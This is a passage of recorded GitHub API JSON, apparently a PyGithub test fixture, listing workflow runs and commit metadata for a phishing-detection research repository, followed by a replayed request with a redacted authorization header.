Sers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":40924079,"node_id":"MDExOldvcmtmbG93UnVuNDA5MjQwNzk=","head_branch":"xzhou_01","head_sha":"797a5ce39d8dee571bdd5f705a1c56851ec5a585","run_number":45,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":464226248,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU0NjQyMjYyNDg=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40924079","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/40924079","pull_requests":[],"created_at":"2020-02-17T23:36:30Z","updated_at":"2020-02-17T23:40:59Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40924079/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40924079/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/464226248","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40924079/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40924079/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40924079/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"797a5ce39d8dee571bdd5f705a1c56851ec5a585","tree_id":"7ac992f04447e1c47006bddb8c984d913cbcca75","message":"deleted Data_Dump","timestamp":"2020-02-17T23:36:12Z","author":{"name":"Xin Zhou","email":"xzhou29@redas-lab2.hpcc.uh.edu"},"committer":{"name":"Xin Zhou","email":"xzhou29@redas-lab2.hpcc.uh.edu"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":40909736,"node_id":"MDExOldvcmtmbG93UnVuNDA5MDk3MzY=","head_branch":"xzhou_01","head_sha":"2e7e600da499290cda9b987edd43ff58a5b92686","run_number":44,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":464177676,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU0NjQxNzc2NzY=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40909736","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/40909736","pull_requests":[],"created_at":"2020-02-17T22:58:39Z","updated_at":"2020-02-17T23:03:58Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40909736/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40909736/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/464177676","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40909736/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40909736/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40909736/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"2e7e600da499290cda9b987edd43ff58a5b92686","tree_id":"189d4c580a9395f8bad278e8ee03f72ec8c89f63","message":"updated Config file: added 4 missing keys","timestamp":"2020-02-17T22:58:23Z","author":{"name":"Xin Zhou","email":"xzhou29@redas-lab2.hpcc.uh.edu"},"committer":{"name":"Xin Zhou","email":"xzhou29@redas-lab2.hpcc.uh.edu"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":40904787,"node_id":"MDExOldvcmtmbG93UnVuNDA5MDQ3ODc=","head_branch":"xzhou_01","head_sha":"21fc1de8213e0e2d14e4f212495dcfcee3cdf71b","run_number":42,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":464149360,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU0NjQxNDkzNjA=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40904787","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/40904787","pull_requests":[],"created_at":"2020-02-17T22:34:37Z","updated_at":"2020-02-17T22:38:40Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40904787/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40904787/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/464149360","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40904787/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40904787/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/40904787/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"21fc1de8213e0e2d14e4f212495dcfcee3cdf71b","tree_id":"0b321623e6e6e741b23c818f1d796d535d3bf02c","message":"updated Config file: added LTree_Features","timestamp":"2020-02-17T22:33:05Z","author":{"name":"Xin Zhou","email":"xzhou29@redas-lab2.hpcc.uh.edu"},"committer":{"name":"Xin Zhou","email":"xzhou29@redas-lab2.hpcc.uh.edu"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}}]} + +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection/actions/runs?branch=API_Flatten +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), 